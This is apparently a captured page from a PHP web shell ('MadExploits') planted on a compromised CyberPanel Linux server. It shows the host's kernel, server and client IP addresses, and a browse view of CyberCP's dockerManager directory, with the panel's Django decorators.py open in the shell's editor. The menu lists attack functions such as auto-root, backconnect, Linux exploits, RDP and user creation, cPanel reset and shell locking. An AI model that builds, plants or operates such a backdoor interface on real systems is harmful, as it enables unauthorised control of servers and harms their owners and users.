Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
dockerManager /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-r--r--
DOCKER_MANAGER_FIXES.md
3.18
KB
-rw-r--r--
Dockerfile
1002
B
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
89
B
-rw-r--r--
apps.py
127
B
-rw-r--r--
build.sh
106
B
-rw-r--r--
container.py
69.34
KB
-rw-r--r--
decorators.py
2.27
KB
-rw-r--r--
docker-compose.yml
713
B
-rw-r--r--
dockerInstall.py
5.2
KB
-rw-r--r--
entrypoint.sh
1.34
KB
-rw-r--r--
models.py
689
B
-rw-r--r--
pluginManager.py
401
B
-rw-r--r--
signals.py
346
B
-rw-r--r--
tests.py
86
B
-rw-r--r--
urls.py
3.17
KB
-rw-r--r--
vhconf.conf
1.58
KB
-rw-r--r--
views.py
17.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : decorators.py
from django.shortcuts import render,redirect from loginSystem.models import Administrator import os import docker import json from django.http import HttpResponse from loginSystem.views import loadLoginPage from plogical.CyberCPLogFileWriter import CyberCPLogFileWriter as logging from plogical.acl import ACLManager def preDockerRun(function): def wrap(request, *args, **kwargs): try: userID = request.session['userID'] except KeyError: return redirect(loadLoginPage) currentACL = ACLManager.loadedACL(userID) if request.method == "POST": isPost = True else: isPost = False # check if docker is installed dockerInstallPath = '/usr/bin/docker' if not os.path.exists(dockerInstallPath): if isPost: data_ret = {'status': 0, 'error_message': 'Docker not installed'} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: from plogical.httpProc import httpProc proc = httpProc(request, 'dockerManager/install.html', {'status':currentACL['admin'], 'conErr':0}, 'admin') return proc.render() #return render(request, 'dockerManager/install.html', {'status':currentACL['admin'], 'conErr':0}) # Check if docker is running and we are able to connect try: client = docker.from_env() result = client.ping() except BaseException as msg: logging.writeToFile(str(msg)) if isPost: data_ret = {'status': 0, 'error_message': 'Docker daemon not running or not responsive'} json_data = json.dumps(data_ret) return HttpResponse(json_data) else: from plogical.httpProc import httpProc proc = httpProc(request, 'dockerManager/install.html', {'status': currentACL['admin'], 'conErr': 0}, 'admin') return proc.render() #return render(request, 'dockerManager/install.html', {'status':currentACL['admin'], 'conErr':1}) return function(request, *args, **kwargs) return wrap
Close